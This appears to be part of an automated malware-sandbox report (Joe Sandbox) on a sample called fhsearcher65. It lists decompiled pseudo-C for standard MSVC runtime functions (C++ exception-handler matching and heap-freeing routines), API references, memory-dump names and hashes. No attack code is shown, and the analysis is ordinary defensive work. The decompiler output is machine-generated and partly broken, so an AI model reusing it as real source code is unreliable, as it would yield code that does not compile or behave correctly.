0x00000000
0x00412861
0x004125c8
0x004125a6
0x00412566
0x00412547
0x00412539
0x00412505

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 004125BF
type_info::operator==.LIBVCRUNTIME ref: 004125E1
___TypeMatch.LIBVCRUNTIME ref: 004126F0
IsInExceptionSpec.LIBVCRUNTIME ref: 004127C2
_UnwindNestedFrames.LIBCMT ref: 00412846
CallUnexpected.LIBVCRUNTIME ref: 00412861

Strings

csm, xrefs: 004124FF
csm, xrefs: 0041256C
csm, xrefs: 00412618

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: b9d36063276b53d14d04bd41c4211dc4d1260975cabf557b86c74e458c8b26f8
Instruction ID: 7926b22893aa05e1912c4a08c6afe921facdc6b54e430aff59361b7c17a402f4
Opcode Fuzzy Hash: b9d36063276b53d14d04bd41c4211dc4d1260975cabf557b86c74e458c8b26f8
Instruction Fuzzy Hash: 13B18B71800249EFCF14DFA5CA819EFB7B5FF08314B10455BE814AB251D3B8DAA1CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 10004C21 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 63%

			E10004C21(signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32) {
				signed char* _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				void _v64;
				signed int _v68;
				char _v84;
				intOrPtr _v88;
				signed int _v92;
				intOrPtr _v100;
				void _v104;
				intOrPtr* _v112;
				signed char* _v184;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t202;
				signed int _t203;
				char _t204;
				signed int _t206;
				signed int _t208;
				signed char* _t209;
				signed int _t210;
				signed int _t211;
				signed int _t215;
				void* _t218;
				signed char* _t221;
				void* _t223;
				void* _t225;
				signed char _t229;
				signed int _t230;
				void* _t232;
				void* _t235;
				void* _t238;
				signed char _t245;
				signed int _t250;
				void* _t253;
				signed int* _t255;
				signed int _t256;
				intOrPtr _t257;
				signed int _t258;
				void* _t263;
				void* _t268;
				void* _t269;
				signed int _t273;
				signed char* _t274;
				intOrPtr* _t275;
				signed char _t276;
				signed int _t277;
				signed int _t278;
				intOrPtr* _t280;
				signed int _t281;
				signed int _t282;
				signed int _t287;
				signed int _t294;
				signed int _t295;
				signed int _t298;
				signed int _t300;
				signed char* _t301;
				signed int _t302;
				signed int _t303;
				signed int* _t305;
				signed char* _t308;
				signed int _t318;
				signed int _t319;
				signed int _t321;
				signed int _t330;
				void* _t332;
				void* _t334;
				void* _t335;
				void* _t336;
				void* _t337;

				_t300 = __edx;
				_push(_t319);
				_t305 = _a20;
				_v20 = 0;
				_v28 = 0;
				_t279 = E10005B88(_a8, _a16, _t305);
				_t335 = _t334 + 0xc;
				_v12 = _t279;
				if(_t279 < 0xffffffff || _t279 >= _t305[1]) {
					L66:
					_t202 = E100076E4(_t274, _t279, _t300, _t305, _t319);
					asm("int3");
					_t332 = _t335;
					_t336 = _t335 - 0x38;
					_push(_t274);
					_t275 = _v112;
					__eflags =  *_t275 - 0x80000003;
					if( *_t275 == 0x80000003) {
						return _t202;
					} else {
						_push(_t319);
						_push(_t305);
						_t203 = E100048DC(_t275, _t279, _t300, _t305, _t319);
						__eflags =  *(_t203 + 8);
						if( *(_t203 + 8) != 0) {
							__imp__EncodePointer(0);
							_t319 = _t203;
							_t223 = E100048DC(_t275, _t279, _t300, 0, _t319);
							__eflags =  *((intOrPtr*)(_t223 + 8)) - _t319;
							if( *((intOrPtr*)(_t223 + 8)) != _t319) {
								__eflags =  *_t275 - 0xe0434f4d;
								if( *_t275 != 0xe0434f4d) {
									__eflags =  *_t275 - 0xe0434352;
									if( *_t275 != 0xe0434352) {
										_t215 = E10003F46(_t300, 0, _t319, _t275, _a4, _a8, _a12, _a16, _a24, _a28);
										_t336 = _t336 + 0x1c;
										__eflags = _t215;
										if(_t215 != 0) {
											L83:
											return _t215;
										}
									}
								}
							}
						}
						_t204 = _a16;
						_v28 = _t204;
						_v24 = 0;
						__eflags =  *(_t204 + 0xc);
						if( *(_t204 + 0xc) > 0) {
							_push(_a24);
							E10003E79(_t275, _t279, 0, _t319,  &_v44,  &_v28, _a20, _a12, _t204);
							_t302 = _v40;
							_t337 = _t336 + 0x18;
							_t215 = _v44;
							_v20 = _t215;
							_v12 = _t302;
							__eflags = _t302 - _v32;
							if(_t302 >= _v32) {
								goto L83;
							}
							_t281 = _t302 * 0x14;
							__eflags = _t281;
							_v16 = _t281;
							do {
								_t282 = 5;
								_t218 = memcpy( &_v64,  *((intOrPtr*)( *_t215 + 0x10)) + _t281, _t282 << 2);
								_t337 = _t337 + 0xc;
								__eflags = _v64 - _t218;
								if(_v64 > _t218) {
									goto L82;
								}
								__eflags = _t218 - _v60;
								if(_t218 > _v60) {
									goto L82;
								}
								_t221 = _v48 + 0xfffffff0 + (_v52 << 4);
								_t287 = _t221[4];
								__eflags = _t287;
								if(_t287 == 0) {
									L80:
									__eflags =  *_t221 & 0x00000040;
									if(( *_t221 & 0x00000040) == 0) {
										_push(0);
										_push(1);
										E10004BA1(_t302, _t275, _a4, _a8, _a12, _a16, _t221, 0,  &_v64, _a24, _a28);
										_t302 = _v12;
										_t337 = _t337 + 0x30;
									}
									goto L82;
								}
								__eflags =  *((char*)(_t287 + 8));
								if( *((char*)(_t287 + 8)) != 0) {
									goto L82;
								}
								goto L80;
								L82:
								_t302 = _t302 + 1;
								_t215 = _v20;
								_t281 = _v16 + 0x14;
								_v12 = _t302;
								_v16 = _t281;
								__eflags = _t302 - _v32;
							} while (_t302 < _v32);
							goto L83;
						}
						E100076E4(_t275, _t279, _t300, 0, _t319);
						asm("int3");
						_push(_t332);
						_t301 = _v184;
						_push(_t275);
						_push(_t319);
						_push(0);
						_t206 = _t301[4];
						__eflags = _t206;
						if(_t206 == 0) {
							L108:
							_t208 = 1;
							__eflags = 1;
						} else {
							_t280 = _t206 + 8;
							__eflags =  *_t280;
							if( *_t280 == 0) {
								goto L108;
							} else {
								__eflags =  *_t301 & 0x00000080;
								_t308 = _v0;
								if(( *_t301 & 0x00000080) == 0) {
									L90:
									_t276 = _t308[4];
									_t321 = 0;
									__eflags = _t206 - _t276;
									if(_t206 == _t276) {
										L100:
										__eflags =  *_t308 & 0x00000002;
										if(( *_t308 & 0x00000002) == 0) {
											L102:
											_t209 = _a4;
											__eflags =  *_t209 & 0x00000001;
											if(( *_t209 & 0x00000001) == 0) {
												L104:
												__eflags =  *_t209 & 0x00000002;
												if(( *_t209 & 0x00000002) == 0) {
													L106:
													_t321 = 1;
													__eflags = 1;
												} else {
													__eflags =  *_t301 & 0x00000002;
													if(( *_t301 & 0x00000002) != 0) {
														goto L106;
													}
												}
											} else {
												__eflags =  *_t301 & 0x00000001;
												if(( *_t301 & 0x00000001) != 0) {
													goto L104;
												}
											}
										} else {
											__eflags =  *_t301 & 0x00000008;
											if(( *_t301 & 0x00000008) != 0) {
												goto L102;
											}
										}
										_t208 = _t321;
									} else {
										_t185 = _t276 + 8; // 0x6e
										_t210 = _t185;
										while(1) {
											_t277 =  *_t280;
											__eflags = _t277 -  *_t210;
											if(_t277 !=  *_t210) {
												break;
											}
											__eflags = _t277;
											if(_t277 == 0) {
												L96:
												_t211 = _t321;
											} else {
												_t278 =  *((intOrPtr*)(_t280 + 1));
												__eflags = _t278 -  *((intOrPtr*)(_t210 + 1));
												if(_t278 !=  *((intOrPtr*)(_t210 + 1))) {
													break;
												} else {
													_t280 = _t280 + 2;
													_t210 = _t210 + 2;
													__eflags = _t278;
													if(_t278 != 0) {
														continue;
													} else {
														goto L96;
													}
												}
											}
											L98:
											__eflags = _t211;
											if(_t211 == 0) {
												goto L100;
											} else {
												_t208 = 0;
											}
											goto L109;
										}
										asm("sbb eax, eax");
										_t211 = _t210 | 0x00000001;
										__eflags = _t211;
										goto L98;
									}
								} else {
									__eflags =  *_t308 & 0x00000010;
									if(( *_t308 & 0x00000010) != 0) {
										goto L108;
									} else {
										goto L90;
									}
								}
							}
						}
						L109:
						return _t208;
					}
				} else {
					_t274 = _a4;
					if( *_t274 != 0xe06d7363 || _t274[0x10] != 3 || _t274[0x14] != 0x19930520 && _t274[0x14] != 0x19930521 && _t274[0x14] != 0x19930522) {
						L22:
						_t300 = _a12;
						_v8 = _t300;
						goto L24;
					} else {
						_t319 = 0;
						if(_t274[0x1c] != 0) {
							goto L22;
						} else {
							_t225 = E100048DC(_t274, _t279, _t300, _t305, 0);
							if( *((intOrPtr*)(_t225 + 0x10)) == 0) {
								L60:
								return _t225;
							} else {
								_t274 =  *(E100048DC(_t274, _t279, _t300, _t305, 0) + 0x10);
								_t263 = E100048DC(_t274, _t279, _t300, _t305, 0);
								_v28 = 1;
								_v8 =  *((intOrPtr*)(_t263 + 0x14));
								if(_t274 == 0 ||  *_t274 == 0xe06d7363 && _t274[0x10] == 3 && (_t274[0x14] == 0x19930520 || _t274[0x14] == 0x19930521 || _t274[0x14] == 0x19930522) && _t274[0x1c] == _t319) {
									goto L66;
								} else {
									if( *((intOrPtr*)(E100048DC(_t274, _t279, _t300, _t305, _t319) + 0x1c)) == _t319) {
										L23:
										_t300 = _v8;
										_t279 = _v12;
										L24:
										_v52 = _t305;
										_v48 = 0;
										__eflags =  *_t274 - 0xe06d7363;
										if( *_t274 != 0xe06d7363) {
											L56:
											__eflags = _t305[3];
											if(_t305[3] <= 0) {
												goto L59;
											} else {
												__eflags = _a24;
												if(_a24 != 0) {
													goto L66;
												} else {
													_push(_a32);
													_push(_a28);
													_push(_t279);
													_push(_t305);
													_push(_a16);
													_push(_t300);
													_push(_a8);
													_push(_t274);
													L67();
													_t335 = _t335 + 0x20;
													goto L59;
												}
											}
										} else {
											__eflags = _t274[0x10] - 3;
											if(_t274[0x10] != 3) {
												goto L56;
											} else {
												__eflags = _t274[0x14] - 0x19930520;
												if(_t274[0x14] == 0x19930520) {
													L29:
													_t319 = _a32;
													__eflags = _t305[3];
													if(_t305[3] > 0) {
														_push(_a28);
														E10003E79(_t274, _t279, _t305, _t319,  &_v68,  &_v52, _t279, _a16, _t305);
														_t300 = _v64;
														_t335 = _t335 + 0x18;
														_t250 = _v68;
														_v44 = _t250;
														_v16 = _t300;
														__eflags = _t300 - _v56;
														if(_t300 < _v56) {
															_t294 = _t300 * 0x14;
															__eflags = _t294;
															_v32 = _t294;
															do {
																_t295 = 5;
																_t253 = memcpy( &_v104,  *((intOrPtr*)( *_t250 + 0x10)) + _t294, _t295 << 2);
																_t335 = _t335 + 0xc;
																__eflags = _v104 - _t253;
																if(_v104 <= _t253) {
																	__eflags = _t253 - _v100;
																	if(_t253 <= _v100) {
																		_t298 = 0;
																		_v20 = 0;
																		__eflags = _v92;
																		if(_v92 != 0) {
																			_t255 =  *(_t274[0x1c] + 0xc);
																			_t303 =  *_t255;
																			_t256 =  &(_t255[1]);
																			__eflags = _t256;
																			_v36 = _t256;
																			_t257 = _v88;
																			_v40 = _t303;
																			_v24 = _t257;
																			do {
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				_t318 = _v36;
																				_t330 = _t303;
																				__eflags = _t330;
																				if(_t330 <= 0) {
																					goto L40;
																				} else {
																					while(1) {
																						_push(_t274[0x1c]);
																						_t258 =  &_v84;
																						_push( *_t318);
																						_push(_t258);
																						L86();
																						_t335 = _t335 + 0xc;
																						__eflags = _t258;
																						if(_t258 != 0) {
																							break;
																						}
																						_t330 = _t330 - 1;
																						_t318 = _t318 + 4;
																						__eflags = _t330;
																						if(_t330 > 0) {
																							continue;
																						} else {
																							_t298 = _v20;
																							_t257 = _v24;
																							_t303 = _v40;
																							goto L40;
																						}
																						goto L43;
																					}
																					_push(_a24);
																					_push(_v28);
																					E10004BA1(_t303, _t274, _a8, _v8, _a16, _a20,  &_v84,  *_t318,  &_v104, _a28, _a32);
																					_t335 = _t335 + 0x30;
																				}
																				L43:
																				_t300 = _v16;
																				goto L44;
																				L40:
																				_t298 = _t298 + 1;
																				_t257 = _t257 + 0x10;
																				_v20 = _t298;
																				_v24 = _t257;
																				__eflags = _t298 - _v92;
																			} while (_t298 != _v92);
																			goto L43;
																		}
																	}
																}
																L44:
																_t300 = _t300 + 1;
																_t250 = _v44;
																_t294 = _v32 + 0x14;
																_v16 = _t300;
																_v32 = _t294;
																__eflags = _t300 - _v56;
															} while (_t300 < _v56);
															_t305 = _a20;
															_t319 = _a32;
														}
													}
													__eflags = _a24;
													if(__eflags != 0) {
														_push(1);
														E1000422F(_t274, _t305, _t319, __eflags);
														_t279 = _t274;
													}
													__eflags = ( *_t305 & 0x1fffffff) - 0x19930521;
													if(( *_t305 & 0x1fffffff) < 0x19930521) {
														L59:
														_t225 = E100048DC(_t274, _t279, _t300, _t305, _t319);
														__eflags =  *(_t225 + 0x1c);
														if( *(_t225 + 0x1c) != 0) {
															goto L66;
														} else {
															goto L60;
														}
													} else {
														__eflags = _t305[7];
														if(_t305[7] != 0) {
															L52:
															_t229 = _t305[8] >> 2;
															__eflags = _t229 & 0x00000001;
															if((_t229 & 0x00000001) == 0) {
																_push(_t305[7]);
																_t230 = E10005630(_t274, _t305, _t319, _t274);
																_pop(_t279);
																__eflags = _t230;
																if(_t230 == 0) {
																	goto L63;
																} else {
																	goto L59;
																}
															} else {
																 *(E100048DC(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
																_t238 = E100048DC(_t274, _t279, _t300, _t305, _t319);
																_t290 = _v8;
																 *((intOrPtr*)(_t238 + 0x14)) = _v8;
																goto L61;
															}
														} else {
															_t245 = _t305[8] >> 2;
															__eflags = _t245 & 0x00000001;
															if((_t245 & 0x00000001) == 0) {
																goto L59;
															} else {
																__eflags = _a28;
																if(_a28 != 0) {
																	goto L59;
																} else {
																	goto L52;
																}
															}
														}
													}
												} else {
													__eflags = _t274[0x14] - 0x19930521;
													if(_t274[0x14] == 0x19930521) {
														goto L29;
													} else {
														__eflags = _t274[0x14] - 0x19930522;
														if(_t274[0x14] != 0x19930522) {
															goto L56;
														} else {
															goto L29;
														}
													}
												}
											}
										}
									} else {
										_v16 =  *((intOrPtr*)(E100048DC(_t274, _t279, _t300, _t305, _t319) + 0x1c));
										_t268 = E100048DC(_t274, _t279, _t300, _t305, _t319);
										_push(_v16);
										 *(_t268 + 0x1c) = _t319;
										_t269 = E10005630(_t274, _t305, _t319, _t274);
										_pop(_t290);
										if(_t269 != 0) {
											goto L23;
										} else {
											_t305 = _v16;
											_t356 =  *_t305 - _t319;
											if( *_t305 <= _t319) {
												L61:
												E100076A8(_t274, _t290, _t300, _t305, _t319, __eflags);
											} else {
												while(1) {
													_t290 =  *((intOrPtr*)(_t319 + _t305[1] + 4));
													if(E100052C4( *((intOrPtr*)(_t319 + _t305[1] + 4)), _t356, 0x100178d0) != 0) {
														goto L62;
													}
													_t319 = _t319 + 0x10;
													_t273 = _v20 + 1;
													_v20 = _t273;
													_t356 = _t273 -  *_t305;
													if(_t273 >=  *_t305) {
														goto L61;
													} else {
														continue;
													}
													goto L62;
												}
											}
											L62:
											_push(1);
											_push(_t274);
											E1000422F(_t274, _t305, _t319, __eflags);
											_t279 =  &_v64;
											E100052AC( &_v64);
											E10004458( &_v64, 0x1001589c);
											L63:
											 *(E100048DC(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
											_t232 = E100048DC(_t274, _t279, _t300, _t305, _t319);
											_t279 = _v8;
											 *(_t232 + 0x14) = _v8;
											__eflags = _t319;
											if(_t319 == 0) {
												_t319 = _a8;
											}
											E1000406C(_t279, _t319, _t274);
											E10005530(_a8, _a16, _t305);
											_t235 = E100056ED(_t305);
											_t335 = _t335 + 0x10;
											_push(_t235);
											E100054A7(_t274, _t279, _t300, _t305, _t319, __eflags);
											goto L66;
										}
									}
								}
							}
						}
					}
				}
			}

0x10004c21
0x10004c28
0x10004c2a
0x10004c33
0x10004c39
0x10004c41
0x10004c43
0x10004c46
0x10004c4c
0x10004fc5
0x10004fc5
0x10004fca
0x10004fcc
0x10004fce
0x10004fd1
0x10004fd2
0x10004fd5
0x10004fdb
0x100050fa
0x10004fe1
0x10004fe1
0x10004fe2
0x10004fe3
0x10004fea
0x10004fed
0x10004ff0
0x10004ff6
0x10004ff8
0x10004ffd
0x10005000
0x10005002
0x10005008
0x1000500a
0x10005010
0x10005025
0x1000502a
0x1000502d
0x1000502f
0x100050f6
0x00000000
0x100050f7
0x1000502f
0x10005010
0x10005008
0x10005000
0x10005035
0x10005038
0x1000503b
0x1000503e
0x10005041
0x10005047
0x10005059
0x1000505e
0x10005061
0x10005064
0x10005067
0x1000506a
0x1000506d
0x10005070
0x00000000
0x00000000
0x10005076
0x10005076
0x10005079
0x1000507c
0x1000508b
0x1000508c
0x1000508c
0x1000508e
0x10005091
0x00000000
0x00000000
0x10005093
0x10005096
0x00000000
0x00000000
0x100050a4
0x100050a6
0x100050a9
0x100050ab
0x100050b3
0x100050b3
0x100050b6
0x100050b8
0x100050ba
0x100050d6
0x100050db
0x100050de
0x100050de
0x00000000
0x100050b6
0x100050ad
0x100050b1
0x00000000
0x00000000
0x00000000
0x100050e1
0x100050e4
0x100050e5
0x100050e8
0x100050eb
0x100050ee
0x100050f1
0x100050f1
0x00000000
0x1000507c
0x100050fb
0x10005100
0x10005101
0x10005104
0x10005107
0x10005108
0x10005109
0x1000510a
0x1000510d
0x1000510f
0x10005187
0x10005189
0x10005189
0x10005111
0x10005111
0x10005114
0x10005117
0x00000000
0x10005119
0x10005119
0x1000511c
0x1000511f
0x10005126
0x10005126
0x10005129
0x1000512b
0x1000512d
0x1000515f
0x1000515f
0x10005162
0x10005169
0x10005169
0x1000516c
0x1000516f
0x10005176
0x10005176
0x10005179
0x10005180
0x10005182
0x10005182
0x1000517b
0x1000517b
0x1000517e
0x00000000
0x00000000
0x1000517e
0x10005171
0x10005171
0x10005174
0x00000000
0x00000000
0x10005174
0x10005164
0x10005164
0x10005167
0x00000000
0x00000000
0x10005167
0x10005183
0x1000512f
0x1000512f
0x1000512f
0x10005132
0x10005132
0x10005134
0x10005136
0x00000000
0x00000000
0x10005138
0x1000513a
0x1000514e
0x1000514e
0x1000513c
0x1000513c
0x1000513f
0x10005142
0x00000000
0x10005144
0x10005144
0x10005147
0x1000514a
0x1000514c
0x00000000
0x00000000
0x00000000
0x00000000
0x1000514c
0x10005142
0x10005157
0x10005157
0x10005159
0x00000000
0x1000515b
0x1000515b
0x1000515b
0x00000000
0x10005159
0x10005152
0x10005154
0x10005154
0x00000000
0x10005154
0x10005121
0x10005121
0x10005124
0x00000000
0x00000000
0x00000000
0x00000000
0x10005124
0x1000511f
0x10005117
0x1000518a
0x1000518e
0x1000518e
0x10004c5b
0x10004c5b
0x10004c64
0x10004d61
0x10004d61
0x10004d64
0x00000000
0x10004c93
0x10004c93
0x10004c98
0x00000000
0x10004c9e
0x10004c9e
0x10004ca6
0x10004f5f
0x10004f63
0x10004cac
0x10004cb1
0x10004cb4
0x10004cb9
0x10004cc0
0x10004cc5
0x00000000
0x10004cfd
0x10004d05
0x10004d69
0x10004d69
0x10004d6c
0x10004d6f
0x10004d71
0x10004d74
0x10004d77
0x10004d7d
0x10004f2e
0x10004f2e
0x10004f31
0x00000000
0x10004f33
0x10004f33
0x10004f36
0x00000000
0x10004f3c
0x10004f3c
0x10004f3f
0x10004f42
0x10004f43
0x10004f44
0x10004f47
0x10004f48
0x10004f4b
0x10004f4c
0x10004f51
0x00000000
0x10004f51
0x10004f36
0x10004d83
0x10004d83
0x10004d87
0x00000000
0x10004d8d
0x10004d8d
0x10004d94
0x10004dac
0x10004dac
0x10004daf
0x10004db2
0x10004db8
0x10004dc8
0x10004dcd
0x10004dd0
0x10004dd3
0x10004dd6
0x10004dd9
0x10004ddc
0x10004ddf
0x10004de5
0x10004de5
0x10004de8
0x10004deb
0x10004dfa
0x10004dfb
0x10004dfb
0x10004dfd
0x10004e00
0x10004e06
0x10004e09
0x10004e0f
0x10004e11
0x10004e14
0x10004e17
0x10004e20
0x10004e23
0x10004e25
0x10004e25
0x10004e28
0x10004e2b
0x10004e2e
0x10004e31
0x10004e34
0x10004e39
0x10004e3a
0x10004e3b
0x10004e3c
0x10004e3d
0x10004e40
0x10004e42
0x10004e44
0x00000000
0x10004e46
0x10004e46
0x10004e46
0x10004e49
0x10004e4c
0x10004e4e
0x10004e4f
0x10004e54
0x10004e57
0x10004e59
0x00000000
0x00000000
0x10004e5b
0x10004e5c
0x10004e5f
0x10004e61
0x00000000
0x10004e63
0x10004e63
0x10004e66
0x10004e69
0x00000000
0x10004e69
0x00000000
0x10004e61
0x10004e7d
0x10004e83
0x10004ea0
0x10004ea5
0x10004ea5
0x10004ea8
0x10004ea8
0x00000000
0x10004e6c
0x10004e6c
0x10004e6d
0x10004e70
0x10004e73
0x10004e76
0x10004e76
0x00000000
0x10004e7b
0x10004e17
0x10004e09
0x10004eab
0x10004eae
0x10004eaf
0x10004eb2
0x10004eb5
0x10004eb8
0x10004ebb
0x10004ebb
0x10004ec4
0x10004ec7
0x10004ec7
0x10004ddf
0x10004eca
0x10004ece
0x10004ed0
0x10004ed3
0x10004ed9
0x10004ed9
0x10004ee1
0x10004ee6
0x10004f54
0x10004f54
0x10004f59
0x10004f5d
0x00000000
0x00000000
0x00000000
0x00000000
0x10004ee8
0x10004ee8
0x10004eec
0x10004efe
0x10004f01
0x10004f04
0x10004f06
0x10004f1d
0x10004f21
0x10004f27
0x10004f28
0x10004f2a
0x00000000
0x10004f2c
0x00000000
0x10004f2c
0x10004f08
0x10004f0d
0x10004f10
0x10004f15
0x10004f18
0x00000000
0x10004f18
0x10004eee
0x10004ef1
0x10004ef4
0x10004ef6
0x00000000
0x10004ef8
0x10004ef8
0x10004efc
0x00000000
0x00000000
0x00000000
0x00000000
0x10004efc
0x10004ef6
0x10004eec
0x10004d96
0x10004d96
0x10004d9d
0x00000000
0x10004d9f
0x10004d9f
0x10004da6
0x00000000
0x00000000
0x00000000
0x00000000
0x10004da6
0x10004d9d
0x10004d94
0x10004d87
0x10004d07
0x10004d0f
0x10004d12
0x10004d17
0x10004d1b
0x10004d1e
0x10004d24
0x10004d27
0x00000000
0x10004d29
0x10004d29
0x10004d2c
0x10004d2e
0x10004f64
0x10004f64
0x00000000
0x10004d34
0x10004d3c
0x10004d47
0x00000000
0x00000000
0x10004d50
0x10004d53
0x10004d54
0x10004d57
0x10004d59
0x00000000
0x10004d5f
0x00000000
0x10004d5f
0x00000000
0x10004d59
0x10004d34
0x10004f69
0x10004f69
0x10004f6b
0x10004f6c
0x10004f73
0x10004f76
0x10004f84
0x10004f89
0x10004f8e
0x10004f91
0x10004f96
0x10004f99
0x10004f9c
0x10004f9e
0x10004fa0
0x10004fa0
0x10004fa5
0x10004fb1
0x10004fb7
0x10004fbc
0x10004fbf
0x10004fc0
0x00000000
0x10004fc0
0x10004d27
0x10004d05
0x10004cc5
0x10004ca6
0x10004c98
0x10004c64

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 10004D1E
type_info::operator==.LIBVCRUNTIME ref: 10004D40
___TypeMatch.LIBVCRUNTIME ref: 10004E4F
IsInExceptionSpec.LIBVCRUNTIME ref: 10004F21
_UnwindNestedFrames.LIBCMT ref: 10004FA5
CallUnexpected.LIBVCRUNTIME ref: 10004FC0

Strings

csm, xrefs: 10004CCB
csm, xrefs: 10004C5E
csm, xrefs: 10004D77

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: c280cf51245476ab5a6ca9c2466aed320dec0198e46a52e5e0ca7a664b3de09a
Instruction ID: 240bac43b3023af98cd0cad224976453cf76ecf695f899d999e54e670dd59ab9
Opcode Fuzzy Hash: c280cf51245476ab5a6ca9c2466aed320dec0198e46a52e5e0ca7a664b3de09a
Instruction Fuzzy Hash: 98B1A0B5C0024AEFEF14CF94C88199E77B5FF04391F12416AE8156B21ADB31EA51CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0041CDFB Relevance: 15.1, APIs: 10, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E0041CDFB(void* __ebx, void* __edi, void* __esi, char _a4) {
				void* _v5;
				char _v12;
				char _v16;
				char _v20;
				void* __ebp;
				char _t55;
				char _t61;
				void* _t67;
				intOrPtr _t68;
				void* _t72;
				void* _t73;

				_t73 = __esi;
				_t72 = __edi;
				_t67 = __ebx;
				_t36 = _a4;
				_t68 =  *_a4;
				_t77 = _t68 - 0x431400;
				if(_t68 != 0x431400) {
					E0041E668(_t68);
					_t36 = _a4;
				}
				E0041E668( *((intOrPtr*)(_t36 + 0x3c)));
				E0041E668( *((intOrPtr*)(_a4 + 0x30)));
				E0041E668( *((intOrPtr*)(_a4 + 0x34)));
				E0041E668( *((intOrPtr*)(_a4 + 0x38)));
				E0041E668( *((intOrPtr*)(_a4 + 0x28)));
				E0041E668( *((intOrPtr*)(_a4 + 0x2c)));
				E0041E668( *((intOrPtr*)(_a4 + 0x40)));
				E0041E668( *((intOrPtr*)(_a4 + 0x44)));
				E0041E668( *((intOrPtr*)(_a4 + 0x360)));
				_v16 =  &_a4;
				_t55 = 5;
				_v12 = _t55;
				_v20 = _t55;
				_push( &_v12);
				_push( &_v16);
				_push( &_v20);
				E0041CC27(_t67, _t72, _t73, _t77);
				_v16 =  &_a4;
				_t61 = 4;
				_v20 = _t61;
				_v12 = _t61;
				_push( &_v20);
				_push( &_v16);
				_push( &_v12);
				return E0041CC92(_t67, _t72, _t73, _t77);
			}

0x0041cdfb
0x0041cdfb
0x0041cdfb
0x0041ce00
0x0041ce06
0x0041ce08
0x0041ce0e
0x0041ce11
0x0041ce16
0x0041ce19
0x0041ce1d
0x0041ce28
0x0041ce33
0x0041ce3e
0x0041ce49
0x0041ce54
0x0041ce5f
0x0041ce6a
0x0041ce78
0x0041ce83
0x0041ce8b
0x0041ce8c
0x0041ce8f
0x0041ce95
0x0041ce99
0x0041ce9d
0x0041ce9e
0x0041cea8
0x0041ceae
0x0041ceaf
0x0041ceb2
0x0041ceb8
0x0041cebc
0x0041cec0
0x0041cec7

APIs

_free.LIBCMT ref: 0041CE11

Part of subcall function 0041E668: HeapFree.KERNEL32(00000000,00000000,?,00426137,?,00000000,?,?,?,004263DA,?,00000007,?,?,004268CD,?), ref: 0041E67E
Part of subcall function 0041E668: GetLastError.KERNEL32(?,?,00426137,?,00000000,?,?,?,004263DA,?,00000007,?,?,004268CD,?,?), ref: 0041E690

_free.LIBCMT ref: 0041CE1D
_free.LIBCMT ref: 0041CE28
_free.LIBCMT ref: 0041CE33
_free.LIBCMT ref: 0041CE3E
_free.LIBCMT ref: 0041CE49
_free.LIBCMT ref: 0041CE54
_free.LIBCMT ref: 0041CE5F
_free.LIBCMT ref: 0041CE6A
_free.LIBCMT ref: 0041CE78

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 064518bb8398a549d41507d19e53a4755c223495735e655d29204e71220b294f
Instruction ID: 99aaacfc364a5fefa3c118e92e9e1d0e842dbbe82c17d6fb6eb18ae7fa6df25e
Opcode Fuzzy Hash: 064518bb8398a549d41507d19e53a4755c223495735e655d29204e71220b294f
Instruction Fuzzy Hash: 8D21C0B6910108EFDB01EFA6C881DDD7BB5FF18744F80416AF5159B121D735DA94CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00440E98 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00440EAE
_free.LIBCMT ref: 00440EBA
_free.LIBCMT ref: 00440EC5
_free.LIBCMT ref: 00440ED0
_free.LIBCMT ref: 00440EDB
_free.LIBCMT ref: 00440EE6
_free.LIBCMT ref: 00440EF1
_free.LIBCMT ref: 00440EFC
_free.LIBCMT ref: 00440F07
_free.LIBCMT ref: 00440F15

Memory Dump Source

